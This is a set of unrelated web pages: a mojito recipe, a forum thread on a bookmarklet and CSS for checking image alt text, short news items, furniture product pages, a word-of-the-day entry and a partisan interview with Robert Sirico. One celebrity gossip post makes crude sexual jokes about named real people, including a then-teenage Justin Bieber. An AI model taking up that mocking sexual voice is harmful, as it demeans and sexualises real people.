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Thursdays are when the weekend should really start, and what better way than with a cocktail? Last week we warmed up with a bubbly Blissini; this week we're back with another cocktail to lighten up that Thanksgiving table.
With trees now nearly bare and autumn leaves left strewn all across the ground, sipping on something orange and alcoholic is our recommendation for toasting to the last bits of fall. With an overdose of fresh oranges and few sprigs of fresh mint for contrast, this exotic mojito is what you should be holding when admiring all that colorful foliage from indoors. So shake yourself up a glass, a pitcher if your hosting, or an entire barrel if it's for your Thanksgiving feast, and lap up the last drops of fall. Bottoms up, folks.
Orange Mojito
1 serving
1/2 orange, cut into 3 wedges
1/2 lime, cut into 3 wedges
2 teaspoons sugar
1 or 2 sprigs fresh mint
2 1/2 ounces white rum
1 cup crushed ice
Put the oranges, limes, sugar, and mint in a large rocks glass. Muddle the leaves and citrus by pressing them with a pestle or a wooden spoon until juicy and fragrant. Add the rum and ice. Cover with a cocktail shaker and shake vigorously, or stir, until combined and chilled, about 30 seconds. (In general, by the time the shaker mists up the drink is ready.) Serve.
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The following is a bookmarklet I just created to check alt attributes on a web page. Tested on Firefox 8.1.
javascript:var%20imgs%20=%20document.getElementsByTagName('img');for%20(i=0;i<imgs.length;i++)%7Bif%20(imgs.item(i).hasAttribute('alt'))%7Bif%20(imgs.item(i).getAttribute('alt')=='')%7Bimgs.item(i).setAttribute('title','%20empty%20alt%20attribute%20');%7Delse%7Bimgs.item(i).setAttribute('title',imgs.item(i).getAttribute('alt'));%7D%7Delse%7Bimgs.item(i).setAttribute('title','%20no%20alt%20attribute%20');%7D%7D//released under GPL 3.0
To use, click on the bookmarklet in the bookmarks toolbar, then hover over each image.
Hope this helps.
A better way to check the alt attributes is to simply turn off images in the browser. That way you see them as they are meant to be seen.
But it would probably be quite easy to miss an image if it didn't have an alt attribute (or an empty one).
Something like Eric Meyer's Diagnostic CSS could be helpful as well in these sort of scenarios as it defines a couple of rules for images that will highlight them if they haven't got alt or titles:
img[alt=""] {border: 3px dotted red;}
img:not([alt]) {border: 5px solid red;}
img[title=""] {outline: 3px dotted fuchsia;}
img:not([title]) {outline: 5px solid fuchsia;}
The Web Developer Addon already shows ALT attributes without the faff of mousing over a specific image. Since it would become repetitive if you were checking for an ALT attribute and having to click on several different images upon a page.
Part of why I like Opera's user CSS since some of the built in styles do things like this... the Alt debugger for example shows images on page which lack or have empty alt text. Images off forces borders on, so any empty boxes are obviously images lacking alt text...
... and part of why FF is a tinkertoy since you have to mod it with extensions to get what I've grown accustomed to being OOB functionality...
The disadvantage of that is that you can't tell if an alt attribute that is present is appropriate for that image. You need to be able to see both the attribute and the image at once.
You're allowed to have either one, so if it has an alt but not title that would be fine. I was actually working on an additional version of the bookmarklet that would do something similar. Alas, it wasn't working and I have a corresponding post in the JavaScript forum.
Anyway, thanks. I'd rather hear a solution twice than not at all.
Thanks, I'll check it out.
Yes http://chrispederick.com/work/web-developer/ is the one I was talking about, which is very famous since there are some of a similar name.
And here's the code I finally wound up with, with the borders, with assistance from AussieJohn
This shows borders. I chose to show an alt attribute of a space differently from a null alt attribute, as WCAG 2.0 says a space is valid but that a null attribute is preferred when the alt attribute is expected to be ignored, according to accessibility technique H67.

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It's no secret we're all about curb appeal here. We love our front lawns, our boxwoods, and our charmingly decorated porches. Who doesn't love a polished home exterior? But there's no point in knocking yourself out on the exterior, if you don't have a graceful transition into the interior of your home. What we mean to say is something you probably already know: your foyer matters. Proper foyer decor can instantly make guests feel welcome, can establish the spirit of your home, and can also be a small space full of practical storage solutions. It's difficult to be a gracious hostess if you're standing in a drab little nook, especially if a little foyer decor can transform that nook into a place of welcome. Not sure how to decorate your foyer? We've gathered some of our favorite foyer decor ideas here for your inspiration. Whether it's a cottage entry, full of rustic charm, with shiplap walls, or a stylish and colorful–but functional–space, there are foyer decorating ideas here for you.
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Catfish CSI Reveals Cause of Famous Fish's Demise
ATHENS, Texas—Like thousands of other people, Dr. Andy Gluesenkamp, Ph.D., saw news photos of a world record blue catfish in the arms of the man who caught her in January 2004.
"I was blown away by such a huge fish," Dr. Gluesenkamp said of the 121.5-pound giant. Cody Mullennix of Howe, Texas, pulled the fish from Lake Texoma on January 16, 2004. While the fish is no longer the world record, it remains the record Texas blue catfish.
When he first saw Splash, as Mullennix named her, Dr. Gluesenkamp had no idea he would someday be involved in her story. But he works as a skeletal preparator for the Texas Natural Science Center (TNSC) in Austin, and after Splash died of unknown causes at the Texas Freshwater Fisheries Center in Athens in December 2005, her remains were sent to the Texas Natural History Collections, part of the TNSC, to be skeletonized.
In the course of his work, Dr. Gluesenkamp and his colleagues discovered the probable cause of Splash's death: severe damage to bone in her jaw area.
"It's hard to tell if the injury was a break that got infected, or if the bone became so infected it simply fell apart," Dr. Gluesenkamp said. "She sustained that injury a long time ago. The bone basically rotted away. I would not be surprised if that was where she took the hook, and bacteria got inside the bone. I'm not a fish veterinarian, but I would bet dollars to doughnuts that the injury was what killed the fish."
An examination of the bones by Dr. Dean Hendrickson, Ph.D., Curator of Ichthyology for TNSC, confirmed Gluesenkamp's suspicions. "Andy was definitely right. Splash clearly had a nasty infection that had been festering for some time," Dr. Hendrickson said.
Dr. Hendrickson's analysis showed that the damage occurred in an area where two bones join. "This area is called the hyoid arch and is between the lower jaw and the gills," he explained. "The arch is involved in creating the pumping action that keeps water flowing over the gills and the strong suction used for predatory feeding. Infection from the injury apparently penetrated the bone and consumed it. At some point blood loss would have been extensive. While we don't know for certain that the initial injury was due to being hooked, that seems to be the most likely explanation."
Presently Dr. Gluesenkamp and Jessica Rosales, Ichthyology Collection Manager for the Texas Natural History Collections, are working to prepare Splash's skeleton for display at the Texas Freshwater Fisheries Center.
Following hand removal of as much flesh as possible from the bones, the skeleton was placed in plastic tubs with larvae from dermestid beetles. These flesh-eating insects, which are also found on the floor of bat caves, are the most effective way of removing all the flesh from a skeleton. "Splash probably has 5,000 to 10,000 beetles on her right now," Dr. Gluesenkamp said. "We've never worked on a fish this large. We had to delay the start of work until we built up our beetle colony to be sure we had enough to do the job."
Once Dr. Gluesenkamp and the beetles finish their work, Rosales will rearticulate the skeleton—put it back together with hot glue, posed in a lifelike position. "It takes time, patience and modeling clay in addition to lots of hot glue," Dr. Gluesenkamp said. "I estimate it may take a week of painstaking work to put the skeleton back together."
"It will take time, but the process is fun and is something that I really enjoy doing," said Rosales.
"Splash had such an impact on TFFC," said Allen Forshage, director of the East Texas facility. "Her first year here she increased our visitation by 43 percent. She was an amazing fish to look at. She would look at you eye-to-eye from her home in the dive tank. Her death saddened everyone here at the center, plus we had inquiries from around the country about her death. The findings about the hooking injury helped us understand why she died so quickly after we moved her in December 2005 because of repair work on the dive tank. We are going to add a new display which will have her replica (done by Lake Fork Taxidermy) and a really unusual display of her skeleton, thanks to the work now being done at the Texas Natural Science Center."
Dr. Gluesenkamp said working on Splash has been the highlight of his career. "I have to say it's been really exciting. I saw photos of that fish in the arms of the man who caught her, and to be involved with that fish two years later is a joy. I am really thankful to be able to work on a fish with celebrity status. Splash: Everyone knows her name."
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Ben's Mill: Making a Sled
Ben Thresher's mill is one of the few water-powered, wood-working mills left in this country. Operating in rural Vermont since 1848, the mill is a unique link between the age of craft and the age of modern industry. In this excerpt, Ben uses his machines and finely crafted tools to turn out a horsedrawn sled for his neighbors in the farming community. The film evokes the quality of rural New England life, and at the same time provides a close, step-by-step view of Ben's woodworking processes. The complete one hour film can be ordered from Documentary Educational Resources.


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Exclusive: Listen to Neko Case Sing John Mellencamp's "That's Who I Am"
John Mellencamp and Stephen King made a musical together. It's called Ghost Brothers of Darkland County, and it may be the only musical made by men for men. (We're fans.) Now it's getting its own album treatment with a roster of a pretty remarkable pedigree. Performers include Elvis Costello, Sheryl Crow, Rosanne Cash, Neko Case, Kris Kristofferson, Dave & Phil Alvin, Taj Mahal, Ryan Bingham, Will Dailey, Matthew McConaughey, Samantha Mathis, and Meg Ryan. (Sorry, we couldn't resist reprinting that whole list of names.) Did we mention T Bone Burnett produced the record?
Above is an exclusive stream of one of the songs, "That's Who I Am," performed by Neko Case. Enjoy long before the album is released, on June 4, and see a trailer for the album below.
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Hudson Rocking Armchair by Emeco
designed by Philippe Starck
The Hudson Chair is a spectacular update backed by an iconic bloodline. The chairs are beautiful -- simple, clean, and three-times the strength of steel. This model has been made in the design of a truly unique and beautiful rocking chair with arms that lend to the natural character of the piece.
- Made with 80% recycled aluminum content
- Dimensions: 31.5" h x 20.75" w x 23.5" d
- Available in brushed or polished aluminum
- Estimated lifespan of 150 years or more
Designed for the Hudson Hotel in New York in 1999, the Hudson line is a more neutral transmutation of the classic Navy Chair. According to Starck, these chairs are "an attempt to remain faithful to the Emeco spirit. The styling is meant to be very pure, very reductive. It's not meant to be loud." The Hudson is included in the design collection of the Museum of Modern Art, and was selected by the Chicago Athenaeum as one of the top 100 designs for 2000, winning the prestigious "Good Design Award".
Materials & Measurements
Recycled aluminum, both post consumer and post industrial
Overall: 31.5" h x 20.75" w x 23.5" d
Seat height: 18.75"
Environmental Information
In addition to using environmentally friendly materials in the production process, Emeco uses 100 percent recyclable shipping and packing materials (they even use paper tape).
About The Manufacturer
|Emeco's founder, Winton C. Dinges, was a master tool and die maker with an engineering background. He believed that a hands-on approach to production using outstanding materials would lead to outstanding design and outstanding furniture. It is a vision that has served Emeco well since 1944.
Few organizations have as storied a history as the Electric Machine and Equipment Company. Emeco's first major achievement was the Navy Chair- a chair designed in collaboration with ALCOA for seaworthiness. Since then, it has expanded its offering but held closely to Dinges' vision. Emeco and its manufacturing facilities are based in Hanover, Pennsylvania.
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Options are good. Here are your 4 shipping options:
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Curbside shipping includes delivery of large or fragile items to your curb or front door Monday through Friday during normal business hours. This service does not include delivery inside your home or office, so be prepared. If you want to save money on shipping and are ok with a little moving and unpacking, this is your best option.
Standard Shipping: Free
Standard ground shipping includes delivery by FedEx or UPS to your door or main lobby. Once shipped, items generally arrive within 2-5 business days. Simple, fast and easy service.
Inside Delivery: $100.00 per item
Inside delivery is a cost efficient way to have large or fragile items delivered to your room of choice. When your order reaches the local station in your area, the delivery agent will call to schedule a four hour delivery appointment. Caveat: If you need debris removal or light assembly (30 min max), you may want to consider our White Glove service.
Premium Inside Delivery: $150.00 per item
Premium Inside Delivery is our most comprehensive delivery service option. This service includes a four-hour delivery appointment, placement inside your room of choice (two flights of stairs max), unpacking, set up (up to 30 minutes without tools), and debris removal. If you want a no hassle delivery experience, this is your best option.
Assembly time of over 30 minutes and room placement over two flights of stairs incurs additional shipping charges. Please call 888-467-6278 for more information and a customized quote.
Emeco products come with free shipping for destinations within the contiguous United States.
Shipping Specifications:
container size: 25" x 25" x 35"
container weight: 19 lbs
For additional information, please see our shipping and delivery policies page.
Product Q&A
Q: Can the Hudson Rocking Armchair be used outside?
A: The Hudson Rocking Armchair in the brushed aluminum finish can be used outdoors with periodic cleaning. Emeco does not recommend the polished finish or powder coat finishes to be placed outdoors.
Q: Can I customize the Hudson Rocking Armchair?
A: The Hudson Rocking Armchair is available in brushed aluminum and polished aluminum finishes. The choice is yours.
Q: Is the Hudson Rocking Armchair recyclable?
Absolutely! Emeco uses 80 percent recycled aluminum to make its chairs, and the aluminum content in Emeco chairs is 100 percent recyclable.
Q: Is the Hudson Rocking Armchair stackable?
A: The Hudson Rocking Armchair is not stackable.
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Welcome to CALS Business Services
Our website is designed to help users easily find forms, guidelines, and contacts in order to navigate the financial requirements of the college.
Mission Statement
Our office is dedicated to providing services and support to faculty, staff, and students in the College of Agricultural and Life Sciences. We act as the liaison between departments and central campus.
Vision Statement
CALS Business Services will strive to become a model service organization by:
- Providing cost effective and quality services on a timely basis.
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In its 19 June, 2007, edition Avvenire, a daily newspaper affiliated with the Roman Catholic Church and based in Milan, the center of the Italian press, carried a second report concerning Atlas of Creation. The report in the Italian-language paper, which enjoys a circulation in excess of 100,000, was written by Fiorenzo Facchini, and said:
"... The monumental Atlas of Creation by the Turkish Muslim author Harun Yahya (real name Adnan Oktar) was written for that purpose and maintains that the history of life on Earth is to be explained in terms of creation, with no evolutionary process being involved.
This scientific work (the first volume in a series of 7) is an exceedingly attractive photographic documentation of life forms that existed in the past… The book describes fossilized life forms and concludes that evolution could have never happened by showing pictures of living things.
One harsh criticism of evolution is the absence of the intermediate forms assumed to have existed during an evolutionary process that lasted for hundreds of millions of years, and that should therefore have been documented. In the author's view, this means that the various life forms must be regarded as having been created or made extinct by Allah (God). 'All life is the product of a perfect design...' (p. 751) But 'God ... needs no "designs" in order to create. ... His planning and creation take place at the same instant. Whenever God wills a thing to come about, it is enough for Him just to say, "Be!"' (p. 627) Frequent extracts from the Qur'an show that religion helps science…
With accusations on account of Nazism, communism, terrorism and materialism, which the book says are Darwinism's worrying consequences, it incites a counter-reaction to the 'evolution deceit'…"
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MALVERN'S Matalan store has been the scene of heroic efforts for military charity Help for Heroes.
Once again the store on Malvern Link retail park held a collection over the four day August Bank Holiday weekend, selling promotional items such as wristbands and lapel badges and a selection of merchandise. The event was organised by store manager Liz Lewington with assistance from Malvern's local H4H volunteer Eden Tyrrell. They were supported by additional volunteers including Malvern's local H4H co-coordinator Tim Kidwell and volunteer Helen Kidwell, plus Steve Ollis.
"The event was again another huge success with an income of £771.11 in donations and £148 in merchandise being raised," said Mr Kidwell. "This brings the 2014 total at Matalan to a fantastic £3511.45. As always, a huge thank you from all here at H4H Malvern goes to all at Matalan Malvern for their continued and ongoing support of the charity as well as a big thank you to all the members of the public who donated or brought merchandise on the day. Your help is as always very much appreciated."


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tubal implant is a small metal spring that is placed in each of the two
fallopian tubes without using surgery. It is guided through the vagina, cervix,
and uterus, and lodged in a fallopian tube. Over time, scar tissue grows around
the two implants and permanently blocks the tubes. This stops eggs from
traveling from the ovaries and down the fallopian tubes, where eggs are
normally fertilized by sperm.
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Pronunciation: spee-lêng-kêr • Hear it!
Part of Speech: Noun
Meaning: An amateur cave explorer, a cave enthusiast, a person whose hobby it is to explore caves, (British) a potholer.
Notes: "Well, if spelunkers are amateurs," I hear you ask, "what are professionals who explore caves scientifically called?" They are called speleologists and their discipline is called speleology. The formations found in caves—stalagmites, stalactites, and such—are known as speleothems by speleologists.
In Play: Unlike troglodyte "cave-dweller", today's word refers to those who only explore caves: "The Spelunker's Club gathers for their monthly meetings in a nearby cave." We can, however, bring this word out into the light, even if we have trouble bringing spelunkers out: "The weather was so dark and cold that not even spelunkers would have enjoyed the picnic."
Word History: This word started out as a lexical plaything in the US in the 1940s, but has since acquired an air of legitimacy. It apparently is based on Latin spelunca "cave, cavern", which Latin took from Greek spelunx (spelunk-s) "cave, cavern". It appears in several other Western European languages, including Dutch spelonk and German spelunke, both meaning "cave". The English suffix -er is an uncomfortable fit for nouns (although less so in Britain (footballer, for example). It is doubly uncomfortable when added to a Latin root. Still, it seems to have found a comfortable place for itself within the English vocabulary. How this word came to be in ancient Greek is one of many great mysteries of etymology. (We thank Kathi Kitao of Kyoto, Japan, for bringing today's Good Word to the surface and shairing it with us.)


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Staple Free Stapler
Comes in various semi-translucent colours, Staple Free Stapler will not make you face any of the misery of using a normal stapler (i.e.: all the frustration of having to load the stapler in an emergency situation, the prickings of your fingers, etc.) because it is safe to be used for all ages (and level of klutziness). Using the Staple Free Stapler is easy, you just have to firmly press its wide top as it sits flat upon a tabletop. The only thing that is different is that the paper should be slid out of the stapler to the right. This is due to the mechanism of the stapler that punched the paper, folded back and then tucked into the hole, creating a staple-less bond between the pages. P/S: This stapler is only able to staple up to 5 pages of papers. Anymore than that you'd have to use… a stapler.


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Foreign direct investment in China rises marginally in May
BEIJING -- Foreign direct investment (FDI) in China rose marginally in May from the same month last year, official figures showed Friday, halting a six-month slide.
Overseas investment rose a mere 0.05 percent in May from a year earlier to around US$9.2 billion, the Ministry of Commerce said in a statement on its website.
But foreign investment for the first five months of the year still fell 1.91 percent from the same period last year to around US$47.1 billion, it said.
FDI had fallen for six consecutive months to April, dragged down by a plunge in fund flows from crisis-struck Europe.
Officials have blamed the decline on economic woes in the United States and Europe, both key trading partners, and on rising costs in the world's second-largest economy.
The ministry statement gave no breakdown of foreign investment by country and region for May.
Other economic data for May indicated a slowdown in the economy, though easing of inflation to 3 percent gave Beijing more room to ease monetary policy to stimulate growth.
China last week slashed interest rates to encourage more lending and channel funds into the slowing economy.
China's gross domestic product (GDP) grew an annual 8.1 percent in the first quarter of 2012 — its slowest pace in nearly three years.
The government has reduced its economic growth target for this year to just 7.5 percent, down from growth of 9.2 percent last year and 10.4 percent in 2010.
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In Africa, Hamadryas baboons are called Sacred baboons because they were once worshipped in Egypt. Six Hamadryas baboons currently call the Oakland Zoo their home, but until this year, there were only five. We brought in Daisy, an elderly female, from another zoo after her mate passed away. Many Zoos would not have taken on the burden of an elderly animal with so many health problems, but that is what makes the Oakland Zoo different.
Daisy came to us with a host of age related medical problems. Like many elderly animals (and people), she has arthritis and requires daily medication with anti-inflammatories to make her comfortable. She also gets a glucosamine supplement to ease the strain on her joints. In addition, she needed some pretty extensive dental work when she arrived, so we brought in the experts from UC Davis' Veterinary Medical School three times to perform the procedures.
None of this care is low cost, but here at the Oakland Zoo we take our responsibilities to the animals very seriously. The welfare of all the animals is our top priority. Getting great medical care means many animals are outliving their normal expected lifespan, which requires even more care. Daisy is 31 years old. The youngest baboon in our group is 22 years old, this means we have an aging group of animals who are going to continue to need geriatric care. If Measure A1 passes, we can continue to provide the high level of care to all of our Sacred baboons as they reach their golden years. Please consider voting "YES" on Measure A1 this November.


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We cannot paint a complete picture of the Wild Mahseer experience without mentioning our team of loyal and devoted staff. They assist our visitors with anything they need and answer any questions they have.
When visiting Wild Masheer guests leave the more frequently travelled path and take a step back in time. One of the things they will notice is how our staff displays the old school etiquette of days gone by. This is not only refreshing to stumble across in our pressured modern world, but it also echoes the ambience of the past, adding authenticity to their taste of the legendary ways of the British planter.
At the Heritage Bungalow there is a team of staff consisting of housekeeping, bearers, a chef, assistant cooks and gardeners all under the auspices of our estate and bungalow managers. They will pamper guests in true planter style, imbuing them with bygone customs as they pour afternoon tea, mix pre-dinner drinks and serve meals as they were served one hundred years ago. Two girls are dedicated to the upkeep of each of the other bungalows and we have a team of six security staff.
Our managers speak English fluently with the majority of our staff understanding a little. Everyone is gentle, patient and willing to do everything they can to make our guests' stay as comfortable and enjoyable as possible. All the people working at Wild Mahseer have either grown up on, or worked on tea plantations and some have outlandish stories to tell, like how one Estate Manager paid a weekly salary part of which was deducted in a pension plan… to his working elephant!
But more than anything they will make you feel at home and ensure that history really is your host.
As our Home Stay Reimbursements do not include a service charge we encourage guests to leave a gratuity to be shared amongst our staff.


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BEST OF 2011: Justin Bieber & Selena Gomez Do It In The Ocean
Welcome to the magical time between Christmas and New Year's when The Superficial lazily rehashes all the posts you sick sons of bitches couldn't get enough of. This year, in lieu of a Top 10, we've decided to break it down by the best post of each month so we can all relive the joy and majesty of 2011, and more importantly, give me an extra two posts to phone in so I can sit around thumbing my Christmas loot.
Do I seriously need to explain how this one was a top post? Here are Justin Bieber and Selena Gomez so blatantly on sex-cation in Hawaii, you can practically hear Selena say, "Stick it in, you little maple bitch," through clenched teeth in every single shot. How she figured out his weakness is water, I'll never know, but I bet it involved promises of gummy bears if not a skateboard. "Aw, no way, it has Batman on it and everything. Wait, why I can see your secret cave the Devil lives in? I NEED AN ADULT!"
Posted: 5.27.2011
Original Post: Justin Bieber and Selena Gomez Had Sex Last Night
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June 5, 2011 at 4:36 pm
25 Years Ago: Ralph Sampson Punches Jerry Sichting
The hiring of Kevin McHale certainly has brought back memories of the 1986 NBA Finals when the Rockets took on the Boston Celtics, and today marks exactly 25 years since Game 5 of that series — the game where tensions boiled over and a melee broke out. Houston's 7-foot-4 center/forward Ralph Sampson got entangled with Boston's 6-foot-1 guard Jerry Sichting, then he snapped, firing punches at Sichting. Continue reading
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Presumably to teach Spider-Man that the Internet is reserved for breasts and intercourse, Playboy has released rare photos of Christina Hendricks from the July 1999 issue (above). Except I can't help but notice something seems off. Gigantically off. Like I'm finding out Santa Claus isn't real, but it's giving me an erection. That can't be healthy.
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DIY Vintage Coffee Can Tiered Tray
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Also your husband did great with those sunglasses, really. :D
And no, you are NOT the only one collecting great looking tins.
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Perhaps the most common justification for government intrusion into people's lives and into the economy at large is the notion that "doing something" is better than preserving limited government.
The usual rejoinder from the right is that capitalism has done more to alleviate poverty and is therefore a more efficient way of helping raise living standards than socialism or its related ideologies. While that answer has the advantage of being true, it is often unpersuasive for those looking for an answer to a moral question. That is the task at hand for Robert Sirico, a Catholic priest and center-right thinker in his excellent new book, Defending the Free Market: The Moral Case for a Free Economy.
I spoke with Sirico in an extended interview, the transcript of which is below. (Audio coming later today.) We talk about several topics including how left-wing political ideology has made its way into many religious congregations and also disagreements on the right as to whether or not religious belief is required to be a conservative.
We also talked about how the liberal secular media have marginalized not only religious conservatives but even religious liberals, many of whom, according to Sirico, are afraid to express their full faith out of fear of being mocked by their ideological comrades.
Sirico's perspective is an important one because so often, liberals are wont to use moral arguments as a means of justifying economic or social beliefs which have proven historically to be disastrous. Such an effort is doomed to failure because justice is something that can be best achieved through individuals exercising self-control rather than an all-powerful government imposing its will upon them.
"What I think is necessary is to have a greater moral authority in society that being a form of constraint that is interior to the person as opposed to an increase in power to society, that being a constraint that is external to the person," Sirico says.
Contrary to what some liberals may think, Sirico is not envisioning a massive theocratic bureaucracy looming above the secular state. Far from it. Instead, he is referring to the naturally arising consensus that appears in any market over time. In fact, it is the expansion of government which usually prevents such private moral impulses from coalescing the way they naturally would.
If you're interested in more about Sirico's book, click here to read the first chapter for free. You can also purchase it in print or electronic copy.
MATTHEW SHEFFIELD: Before we get further into the details, why don't you describe a little bit for us, if you were to describe it for us in one paragraph or two what the overall contention is of the book.
ROBERT SIRICO: The overall contention of the book is that the free economy is worthy of a moral defense. Not just a utilitarian defense, the utilitarian case for the free market, that it functions better, that it produces more, that it's a more efficient mechanism for prosperity, I think has been made manifest, if not before, over the last two decades with the collapse of real socialism in Europe. What I'm trying to bring to the discussion is a meditation if you will, on the nature of the human person and the way in which that nature is made manifest in the economy. That's kind of the big bumper sticker of the summation of the book.
SHEFFIELD: With respect to the idea of that capitalism or a free market is more adequate to the tasks of alleviating various negative social conditions such as poverty or disease very often when one hears from liberals on those two topics that if these injustices exist, government is the best means of attempting to resolve those issues. And that to simply let things be or laissez-faire, is not only the wrong economic choice but is also morally deficient. What is your immediate response to that?
SIRICO: Well let's come back to the first part of that, that the state of affairs exists where there is poverty or misery and that the government is up to the task. So my first question is why does such misery exist? Why are people poor? Why is there dislocation and injustice in the world? That could take us in a million different directions but I think it's safe to say that there is something flawed in the human character, that we don't automatically help people, that we don't provide for those who are in need, that we are selfish. All of those things are kind of what the Left would say.
And my response to that is to say, well is that something that is just extent in a free economy where people are free to act and to choose what they want to buy and sell and invest in or is that just a human trait? And if it's a human trait then isn't it reasonable to conclude that it's more risky to place the means of coercion in the hands of politicians and bureaucrats who have no direct and immediate accountability to get an election going or to get a bill passed takes quite a while.
To put it in theological terms, the original sin that you're worried about expressing itself in a free society is on stilts in a command and control economy. That's the first part of the question you raised. The second part, has to do with the contention that what I'm arguing for if you want to use the term laissez-faire. I'm not arguing for a society that is uncontrolled and unplanned.
The fact that I don't believe the government should be controlling it or planning it, doesn't mean that I think it should be unplanned. I think there should be constraints on the government and effective constraints. To buy and sell anything is not desirable; the question is how do we restrict that buying and selling. I think there are a variety of ways of doing it, aside from the obvious thing that human beings shouldn't be bought and sold you know things like that. I think when we have competition that is a form of constraining given markets, it's a barrier. I think also the culture in which a society is placed, you're not going to sell a lot of bacon in the middle of Jerusalem and that's because there's a culture there and not only because it might be against the law but because it would be offensive to the people. To put it a different way, you're not going to sell a lot of heterosexual pornography on Castro Street in San Francisco, because there's a culture there that's not interested in that market.
To put it in a traditional moral setting: if we can form people to the point of an ethical consensus, which I think to a very great extent we had at certain points in American history. I think you do in that sense control the market but you control it internally rather than externally is the distinction that Robert Nesbitt makes in one of his books about the distinction between power and authority. What I think is necessary is to have a greater moral authority in society that being a form of constraint that is interior to the person as opposed to an increase in power to society, that being a constraint that is external to the person.
SHEFFIELD: What would be your response to if somebody said, well the society may or may not operate on those principles but a government that is empowered would be more efficient in the sense that if it's supposed to look out for the well-being of individuals. That's often what you hear liberals saying, that that is the government objective whereas businesses are looking out for themselves only.
SIRICO: Businesses are not the only entity in society; it's the fruit of business and if we're talking the vulnerable, the sick and the indigent, then let's just look historically over the whole sweep of history and see who invents the institutions to take care of vulnerable human life. The religious community has done it, the hospital is an invention of Christianity in the early middles ages. What we know today to be modern hospitals is the point I gave in the book and gives the references there.
The whole regard for the value of human life even in its most vulnerable stages is a virtuous concern and while a business does not attend to that, I think religious institutions have a vested interest in that and they draw their sentiments from business. So this by the way underscores the egregiousness of government takeover or mandates against religious institutions or performing the traditional charitable works that we invented in the first place. I'm not saying in this book that all we need is a free society. I'm saying we need a free and virtuous society. My point is you stand a greater chance of creating a culture predicated on virtue and mutual support of that society is free versus the statist approach. To go back to the original assumption of the question, when liberals say when there are poor people, we'll act on their behalf. They don't know what to do for the same reason that an economy that is controlled by the state episcopes knowledge, that it obscures that data that flows through prices.
The welfare state makes is impossible to know what real human needs exist. Because the motivation for creating such programs is a political motivation it's a motivation based on constituencies and pressure groups. Whereas when the church or religious voluntary institutions act on behalf of the poor, they do so because they see the need, they know the need and they're willing to put some flesh in the game. They actually give of themselves, the people who volunteer very often, they're donors. The people who are concerned for people in foreign countries actually leave their homes and sometimes risk their wellbeing and safety to take care of the poor. Now this is generally not a secular impulse, this is generally a religious impulse.
SHEFFIELD: On that line of thought, one of the things you mention is that if one looks at the world in darkness, where you see countries that are more government-directed, those countries do not have light, nearly as much light as more autonomous or free market countries. Certainly the case definitely has been made by many people that allowing a free market is the best way to allow people to move upward. I guess you were saying religion and individual virtue provides a way for providing a safety net. Is that a correct characterization?
SIRICO: Yes I think generally that's a fair approach, without disregarding the many temptations and flaws that are in the way. I agree there are risks; a free market society entails a lot of risks. But I would rather have those risks than the risks of handing all of that power over to the state.
SHEFFIELD: So would you say that then in your opinion, an expansion of government or as a government expands, the role in public life or public square for religion must necessarily attenuate?
SIRICO: Yes, in fact you almost quoted Alexis De Tocqueville in Democracy in America. He said virtually the same thing you just said in almost the same words. I don't know if you did that consciously. As the moral tie contracts, let me see how does it go as a political tie expands the moral tie contracts or the reverse. So what you have is the political sphere taking over more and more of the things that religious sensibility used to take care of.
SHEFFIELD: And I guess not necessarily an institutional insinuation being the only problem, in other words, and you can correct me if I'm misstating you here the idea that as the individuals, as the emphasis or morality of individuals declines with regard to one must work hard in order to please God, or to not be a sloth. That if that value becomes de-emphasized then there is not as much of an initiative or is no source for many individuals to replace that?
SIRICO: Yes, for instance if we live in a society that tells us that we have a generous welfare state and they're going to take care of people for us, we are less inclined to use our limited resources to help people. Because they figure, well that's being done; I'm paying for that already in my taxes. And we see this with the victims of the tsunami. It was reported and extolled by the liberals that small countries, one of the small Scandinavian countries had given more as a percentage of their GDP to the victims than the United States had given as their GDP. And everyone was aghast how ungenerous we are. What they never took into consideration was that the American public voluntarily gave multiples more than all of Europe combined. Even in their state giving and that was just private donations. I think that says a great deal about what we're talking about here.
SHEFFIELD: All that being said, I think it would be fair to say that the notions of liberation theology seem to have gained quite a bit of currency within many religious quarters, certainly within Catholicism. Why do you suppose that is?
SIRICO: Well it's a trajectory of thinking, I mean liberation theology is a particularly unique thing from the late 60's to roughly the late 80's.
SHEFFIELD: And I'm not singling that out particularly, you know the social gospel…
SIRICO: If you go back to the social gospel, you go back to the middle ages where you had radical Franciscans who wanted to call for the abolition of private property and all that. I think when people don't understand how a market economy functions; they don't understand the role of private property or the role of profits in coordinating resources and economic productivity. And yet at the same time they see human need, there's a rage.
So there's a concern and I think it's a moral concern, it's just they're directing it in the wrong direction. It's like the Wall Street occupiers; they're outraged that bankers come away with exorbitant profits, what they see as exorbitant profits, at the same time that they get bailouts and they're down on Wall Street protesting. Well they're on the wrong street; they need to be in Washington DC. Because who gave them those subsidies, it was politicians. People get angry at lobbyist and see that as a perversion of the American system of law and justice but they never ask themselves why do lobbyist go to politicians? Lobbyist don't come to me and ask me for help because I can't do anything for them. They go to politicians because of the presumption that the government controls everything. And so that's where they go, that's where the money is.
SHEFFIELD: And that point has been made very well by my friend Tim Carney, who has written extensively on the role of lobbying. So your contention, going back to the question is that these notions of social justice being conflated with moral justice or even the idea that social justice should even exist, or whatever it is.
SIRICO: No, that's not quite what I'm saying. I do think that there is a legitimate understanding of social justice; I just don't think its socialist justice. Social justice is aiming towards a society that takes care of people and insures that people get their due, both on an individual level which is justice and then within society itself. But that does not call for the role of government being the resource of first resort. I'm not an anarchist, I do believe in law, I do believe in government. But I think that for us to achieve the best that society can offer us that it has to be severely limited for the reasons that I said about intelligence and productivity and morality.
SHEFFIELD: So I guess the misbegotten notions that you're writing against, they're proceeding from an ignorance of how the free market operates?
SIRICO: And also a misunderstanding of anthropology and an understanding of who man is. Are we just cogs that can be orchestrated in the wheel or are we each unique, unrepeatable creative beings that can transcend our circumstances and even our physicality? That's my view of anthropology, that's how I see human beings. I have a part of the book that I call humanaphobia, this fear of populations, and this fear of human beings. I can understand this issue if your whole worldview is predicated as a zero sum economic perspective then if you add more people to the life raft then the raft is going to sink. I just don't happen to think that the economy is static, I think it can be dynamic it can be creative so that human beings contribute. They're not just mouths that consume, they're minds that produce.
SHEFFIELD: I'm assuming you see the media as being very influential in terms of perpetuating these false notions?
SIRICO: I think the media is also combating those notions right? We're having a good conversation, this is a form of media. I'm glad the market has opened up so much more media. If you mean the elite media yes.
SHEFFIELD: Yes, that is what I'm referring to.
SIRICO: Somebody once called it the opinion cartel, they're going to tell us what acceptable and what to believe. You know the New York Times and the 3 big sisters there [broadcast television networks].
